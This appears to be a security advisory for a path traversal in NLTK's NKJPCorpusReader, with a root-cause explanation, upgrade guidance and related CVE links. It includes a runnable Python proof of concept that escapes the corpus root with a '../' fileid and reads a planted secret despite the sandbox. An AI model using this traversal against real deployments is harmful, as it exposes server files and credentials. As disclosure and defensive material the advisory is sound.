CVE-2026-12072: NLTK NKJPCorpusReader Path Traversal Arbitrary File Read
A path traversal bug in NLTK's NKJPCorpusReader lets an attacker read any file on the server by passing a crafted directory path as a corpus file ID, even when NLTK's strict security sandbox is…

The problem
NKJPCorpusReader.add_root() builds file paths by plain string concatenation with no normalization or containment check. A caller-controlled fileids value containing ../ sequences escapes the corpus root entirely.
All public read methods (header, raw, words, sents, tagged_words) are affected. The reader opens the resulting path with the builtin open() instead of NLTK's hardened FileSystemPathPointer.open(), so the nltk.pathsec sandbox, including ENFORCE=True mode, is never consulted and raises no PermissionError.
The header() method returns the parsed content of the out-of-root file directly to the caller, giving the attacker a clean arbitrary file read.
Proof of concept
A working proof-of-concept for CVE-2026-12072 in nltk, with the exact payload below.
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
# Create a legitimate corpus root.
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# Place the target secret outside the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the sandbox SECURITY.md recommends for web deployments.
pathsec.ENFORCE = True
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled fileids: '../' sequences escape the corpus root.
evil = root + "/../../../../../../.." + secret_dir + "/"
result = reader.header(fileids=[evil])
print(result[0]["title"])
# Output: SECRET-API-KEY=sk-live-DEADBEEF (no PermissionError raised)add_root() checks only whether self.root appears anywhere in the fileid string, then concatenates without calling os.path.normpath or resolving the real path. An absolute path that starts with the corpus root prefix passes the substring check unchanged, and a relative traversal path is simply prepended with the root, producing a path like /corpus_root/../../outside/.
The resulting string goes straight to the builtin open() via XML_Tool or NKJPCorpus_Header_View. The safe path FileSystemPathPointer.open() and its validate_path(required_root=...) guard are never in the call chain, so ENFORCE=True has no effect here (CWE-22).
The fix in 3.10.0 routes NKJPCorpusReader file access through the hardened CorpusReader.open() / FileSystemPathPointer path, which normalizes paths with os.path.realpath and rejects anything that does not resolve inside the corpus root before calling validate_path.
The fix
Upgrade to nltk >= 3.10.0 (pip install --upgrade nltk). If an immediate upgrade is not possible, do not pass user-supplied values into any NKJPCorpusReader fileids argument. As a belt-and-suspenders measure, keep nltk.pathsec.ENFORCE=True, but note that it does not block this specific reader until 3.10.0.
Related research
- high · 7.5CVE-2026-12061CVE-2026-12061: NLTK ReviewsCorpusReader Quadratic ReDoS
- high · 8.6CVE-2026-12075CVE-2026-12075: nltk DNS-Rebinding SSRF Filter Bypass
- critical · 10CVE-2026-67429CVE-2026-67429: flyto-core Arbitrary File Write via image.download
- high · 7.5CVE-2026-55389CVE-2026-55389: datamodel-code-generator Arbitrary File Read via JSON-Schema $ref